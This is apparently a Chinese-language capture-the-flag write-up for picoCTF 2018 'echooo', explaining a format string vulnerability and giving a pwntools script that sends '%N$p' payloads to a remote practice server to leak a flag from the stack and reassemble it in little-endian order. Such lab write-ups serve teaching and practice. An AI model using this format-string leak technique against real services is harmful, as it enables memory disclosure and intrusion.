picoctf_2018_echooo
查看保护
格式化字符串漏洞
攻击思路:flag在栈上,所以直接格式化字符串泄露即可,但是在这里需要注意小端序
在28的偏移开始,这时笔者直接用循环来爆破的,最后的结果为11,因为12的时候是null。
注意:小端序,两种方式,直接倒着输出,或者取每一个字节然后chr倒着拼接。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26540)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
flag = ''
for i in range(11):
print('[+] i = ' + str(i))
p1 = '%' + str(i + 27) + '$p'
r.sendline(p1)
r.recvuntil('> 0x')
addr = int((r.recvuntil('\n')[:-1]), 16)
a = (addr & 0xff000000) >> 24
b = (addr & 0x00ff0000) >> 16
c = (addr & 0x0000ff00) >> 8
d = addr & 0x000000ff
flag += chr(d) + chr(c) + chr(b) + chr(a)
print('[+] flag = ' + flag)
r.interactive()